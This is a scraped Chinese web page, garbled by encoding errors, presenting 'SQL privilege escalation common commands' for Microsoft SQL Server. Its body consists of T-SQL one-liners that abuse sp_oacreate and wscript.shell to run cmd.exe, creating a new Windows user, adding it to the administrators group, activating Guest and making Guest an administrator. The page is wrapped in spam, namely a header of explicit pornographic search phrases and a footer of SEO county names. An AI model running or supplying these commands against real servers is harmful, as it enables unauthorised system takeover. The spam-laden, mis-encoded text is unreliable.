国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數(shù)據(jù)庫 > SQL Server > 正文

SQL 提權(quán) 常用命令

2020-07-25 13:32:33
字體:
供稿:網(wǎng)友
1、連接數(shù)據(jù)庫
driver={SQL Server};server=服務(wù)器IP;uid=用戶名;pwd=密碼;database=數(shù)據(jù)庫名
2、添加新用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user 新用戶 密碼 /add'
3、把用戶加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup administrators 新用戶 /add'
4、激活GUEST用戶
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net user guest /active:yes'
5、把Guest加到管理組
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe /c net localgroup Administrators Guest /add'
關(guān)于防范方法,可以參考武林網(wǎng)服務(wù)器安全設(shè)置欄目。
發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 孟津县| 无极县| 曲麻莱县| 桃园市| 宕昌县| 华阴市| 梁河县| 黑龙江省| 荆州市| 丹棱县| 成都市| 神池县| 孙吴县| 沛县| 通许县| 长春市| 武威市| 阿坝| 清丰县| 阿荣旗| 徐闻县| 疏附县| 黄浦区| 尉氏县| 无锡市| 余干县| 茌平县| 平南县| 南澳县| 吴忠市| 东莞市| 福鼎市| 大庆市| 那坡县| 哈巴河县| 昭平县| 金昌市| 紫云| 个旧市| 蒲江县| 乐平市|